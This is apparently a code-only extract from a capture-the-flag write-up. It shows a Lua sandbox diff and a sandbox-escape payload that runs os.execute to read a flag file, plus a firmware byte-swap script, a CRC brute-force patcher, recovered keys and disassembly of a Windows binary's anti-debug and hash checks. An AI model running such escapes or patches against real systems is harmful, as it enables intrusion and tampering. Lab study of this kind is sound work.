gh0st3rs@user-pc:lua$ git diff lbaselib.c diff --git a/lbaselib.cb/lbaselib.c index 00452f2..52ec9c6 100644 --- a/lbaselib.c +++ b/lbaselib.c @@ -480,18 +480,18 @@ static int luaB_tostring (lua_State *L) { static const luaL_Reg base_funcs[] = { {"assert", luaB_assert}, {"collectgarbage", luaB_collectgarbage}, - {"dofile", luaB_dofile}, + // {"dofile", luaB_dofile}, {"error", luaB_error}, {"getmetatable", luaB_getmetatable}, {"ipairs", luaB_ipairs}, - {"loadfile", luaB_loadfile}, - {"load", luaB_load}, + // {"loadfile", luaB_loadfile}, + // {"load", luaB_load}, #if defined(LUA_COMPAT_LOADSTRING) - {"loadstring", luaB_load}, + // {"loadstring", luaB_load}, #endif {"next", luaB_next}, {"pairs", luaB_pairs}, - {"pcall", luaB_pcall}, + // {"pcall", luaB_pcall}, {"print", luaB_print}, {"rawequal", luaB_rawequal}, {"rawlen", luaB_rawlen}, @@ -502,7 +502,7 @@ static const luaL_Reg base_funcs[] = { {"tonumber", luaB_tonumber}, {"tostring", luaB_tostring}, {"type", luaB_type}, - {"xpcall", luaB_xpcall}, + // {"xpcall", luaB_xpcall}, /* placeholders */ {LUA_GNAME, NULL}, {"_VERSION", NULL},
gh0st3rs@user-pc:lua$ git diff linit.c diff --git a/linit.cb/linit.c index 3c2b602..d7e03c9 100644 --- a/linit.c +++ b/linit.c @@ -41,17 +41,18 @@ */ static const luaL_Reg loadedlibs[] = { {LUA_GNAME, luaopen_base}, - {LUA_LOADLIBNAME, luaopen_package}, + // {LUA_LOADLIBNAME, luaopen_package}, {LUA_COLIBNAME, luaopen_coroutine}, {LUA_TABLIBNAME, luaopen_table}, - {LUA_IOLIBNAME, luaopen_io}, - {LUA_OSLIBNAME, luaopen_os}, + // {LUA_IOLIBNAME, luaopen_io}, + // {LUA_OSLIBNAME, luaopen_os}, {LUA_STRLIBNAME, luaopen_string}, {LUA_MATHLIBNAME, luaopen_math}, {LUA_UTF8LIBNAME, luaopen_utf8}, - {LUA_DBLIBNAME, luaopen_debug}, + // {LUA_DBLIBNAME, luaopen_debug}, #if defined(LUA_COMPAT_BITLIB) {LUA_BITLIBNAME, luaopen_bit32}, + {LUA_ARRAY, luaopen_array}, #endif {NULL, NULL} };
gh0st3rs@user-pc:lua$ git diff makefile diff --git a/makefile b/makefile index 8160d4f..d9df7e8 100644 --- a/makefile +++ b/makefile @@ -53,12 +53,12 @@ LOCAL = $(TESTS) $(CWARNS) -g # enable Linux goodies -MYCFLAGS= $(LOCAL) -std=c99 -DLUA_USE_LINUX -DLUA_COMPAT_5_2 -MYLDFLAGS= $(LOCAL) -Wl,-E +MYCFLAGS= $(LOCAL) -std=c99 -DLUA_USE_LINUX -DLUA_COMPAT_5_2 -fPIE -fPIC # -fsanitize=address -fno-omit-frame-pointer +MYLDFLAGS= $(LOCAL) -Wl,-E # -fsanitize=address MYLIBS= -ldl -lreadline -CC= clang-3.8 +CC= gcc # clang-5.0 CFLAGS= -Wall -O2 $(MYCFLAGS) AR= ar rcu RANLIB= ranlib @@ -74,7 +74,7 @@ LIBS = -lm CORE_T= liblua.a CORE_O= lapi.o lcode.o lctype.o ldebug.o ldo.o ldump.o lfunc.o lgc.o llex.o \ lmem.o lobject.o lopcodes.o lparser.o lstate.o lstring.o ltable.o \ - ltm.o lundump.o lvm.o lzio.o ltests.o + ltm.o lundump.o lvm.o lzio.o ltests.o larray.o AUX_O= lauxlib.o LIB_O= lbaselib.o ldblib.o liolib.o lmathlib.o loslib.o ltablib.o lstrlib.o \ lutf8lib.o lbitlib.o loadlib.o lcorolib.o linit.o @@ -194,5 +194,6 @@ lvm.o: lvm.c lprefix.h lua.h luaconf.h ldebug.h lstate.h lobject.h \ ltable.h lvm.h lzio.o: lzio.c lprefix.h lua.h luaconf.h llimits.h lmem.h lstate.h \ lobject.h ltm.h lzio.h +larray.o: larray.c # (end of Makefile)
L1 = T.newstate() T.loadlib(L1) a,b,c = T.doremote(L1, [[ os = require'os'; os.execute('cat FLAG__.TXT') ]])
$ strings dump.bin .... :CCGbU( utnu3.6 1-0.ubu22utn.6 ) 0.371026040
#!/usr/bin/python3 import sys fixed = open(sys.argv[2], 'wb') dump = open(sys.argv[1], 'rb').read() [fixed.write(dump[x:x + 4][::-1]) for x in range(0, len(dump), 4)] fixed.close()
Auth process started ...
===============
=== AUTH OK ===
===============
use this key in u-boot: 4a2 # * a11gpiun% 25
PS As it turned out later, there was a race condition type vulnerability - it was necessary to change the combination while checking it
#!/usr/bin/python3 import sys import binascii import os import subprocess import struct START_OFFSET=0xf5c5 END_OFFSET=0xf5c8 OUT_FILE=sys.argv[1]+'.patch' dump = open(sys.argv[1], 'rb').read() crc1 = struct.unpack('>I', dump[24:28])[0] for x in range(0xa2, -1, -1): for y in range(0xff, -1, -1): for z in range(0xff, -1, -1): number='%02x%02x%02x' % (x,y,z) crc = binascii.crc32(dump[0x40:START_OFFSET] + binascii.unhexlify(number.encode()) + dump[END_OFFSET:]) if crc == crc1: print('Possible fix: %s' % number) print('Status: %s' % number)
$ strings ecos.bin | grep KEY KEY: xs26k=b$km*8_mNf
.text:000000013FE53323 lea rax, byte_13FE57030 .text:000000013FE5332A lea rbp, aAHecatwnicosac ; "A hecatwnicosachoron or 120-cell is ar"... .text:000000013FE53331 sub rbp, rax .text:000000013FE53334 mov eax, 1
.text:000000013FE5337D call near ptr sub_13FE53070+3 .text:000000013FE53382 movzx ecx, [rsp+48h+arg_0] .text:000000013FE53387 inc rbp
.text:000000013FE513B9 mov rbx, rax .text:000000013FE513BC call sub_13FE53460 .text:000000013FE513C1 test eax, eax .text:000000013FE513C3 jnz short loc_13FE513C9
.text:000000013FE513EF call near ptr get_SoftwareType+1 .text:000000013FE513F4 test eax, eax .text:000000013FE513F6 jz short loc_13FE51415
.text:000000013FE536A9 lea rax, [rsp+0D8h+hkey] .text:000000013FE536AE lea rdx, SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"... .text:000000013FE536B5 mov r9d, 20019h ; samDesired .text:000000013FE536BB xor r8d, r8d ; ulOptions .text:000000013FE536BE mov rcx, 0FFFFFFFF80000003h ; hKey .text:000000013FE536C5 mov [rsp+0D8h+var_90], 64h .text:000000013FE536CD mov [rsp+0D8h+phkResult], rax ; phkResult .text:000000013FE536D2 call cs:RegOpenKeyExA .text:000000013FE536D8 test eax, eax
.text:000000013FE53871 mov r8d, [rsp+278h+pe.th32ProcessID] ; dwProcessId .text:000000013FE53876 xor edx, edx ; bInheritHandle .text:000000013FE53878 mov ecx, 100000h ; dwDesiredAccess .text:000000013FE5387D call cs:OpenProcess .text:000000013FE53883 mov rbx, rax .text:000000013FE53886 test rax, rax
.text:000000013FE514B1 call load_exe .text:000000013FE514B6 mov rdi, rax .text:000000013FE514B9 test rax, rax .text:000000013FE514BC jnz short loc_13FE514D7 .text:000000013FE514BE mov rdx, [rsp+28h+a2] ; a2 .text:000000013FE514C3 mov r8, rbx ; out_hash .text:000000013FE514C6 mov rcx, rax ; a1 .text:000000013FE514C9 call calc_sha
.text:000000013FE51147 call memset .text:000000013FE5114C xor eax, eax .text:000000013FE5114E lea rdx, CommandLine ; "tmp.exe -t" .text:000000013FE51155 mov [rsp+118h+ProcessInformation.hProcess], rax
.text:000000013FE51872 call key2 .text:000000013FE51877 mov r15, rax
.text:000000013FE517EE jz short loc_13FE51844 .text:000000013FE517F0 call cs:IsDebuggerPresent .text:000000013FE517F6 test eax, eax .text:000000013FE517F8 jz short loc_13FE51856
.text:000000013FE516C3 mov dword ptr [rbp+original_hash], 0D8086BF9h .text:000000013FE516CA mov dword ptr [rbp+original_hash+4], 0AA45EFE5h .text:000000013FE516D1 mov dword ptr [rbp+original_hash+8], 492519ECh .text:000000013FE516D8 mov dword ptr [rbp+original_hash+0Ch], 212C9756h .text:000000013FE516DF mov [rbp+var_30], 5BB58EA1h .text:000000013FE516E6 mov byte ptr [rbp+hash], bl .text:000000013FE516E9 mov [rbp+hash+1], rax .text:000000013FE516ED mov [rbp+var_17], rax .text:000000013FE516F1 mov [rbp+var_F], ax .text:000000013FE516F5 mov [rbp+var_D], al .text:000000013FE516F8 call calc_sha .text:000000013FE516FD mov rax, [rbp+hash] .text:000000013FE51701 cmp rax, qword ptr [rbp+original_hash]
Source: https://habr.com/ru/post/351484/
All Articles